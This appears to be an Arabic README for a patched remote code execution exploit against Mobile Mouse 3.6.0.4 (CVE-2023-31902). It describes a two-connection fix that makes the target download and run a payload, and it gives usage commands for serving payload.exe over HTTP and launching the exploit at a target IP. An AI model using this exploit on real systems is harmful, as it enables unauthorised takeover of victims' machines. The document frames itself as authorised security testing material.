Mobile Mouse 3.6.0.4 RCE - إصلاح

نسخة مصححة من استغلال تنفيذ التعليمات البرمجية عن بُعد الخاص بـ Mobile Mouse 3.6.0.4 المنشور باسم EDB-51010.

الثغرة

• CVE: CVE-2023-31902
• الإصدار المتأثر: Mobile Mouse 3.6.0.4
• المنفذ الافتراضي: TCP/9099

ما تم إصلاحه

يستطيع الاستغلال الأصلي تنزيل الحمولة بنجاح لكنه قد يفشل في تشغيلها لأن كلتا المرحلتين تستخدمان نفس اتصال TCP.

هذه النسخة:

• تنزّل الحمولة عبر الجلسة الأولى
• تنتظر اكتمال التنزيل
• تفتح اتصالًا جديدًا
• تعيد تنفيذ المصافحة الخاصة بـ Mobile Mouse
• تشغّل الحمولة التي تم تنزيلها

كما أنها تستخدم sendall() ومسارات Windows ذات التهريب الصحيح وفواصل زمنية للـ socket ومعالجة أخطاء أساسية.

الاستخدام

شغّل خادم HTTP في مجلد الحمولة:

python3 -m http.server 8080

شغّل الاستغلال:

python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe

إخلاء مسؤولية

هذا المشروع مخصص فقط لاختبارات الأمان المصرّح بها والأبحاث التعليمية. لا تستخدمه ضد أنظمة بدون إذن صريح.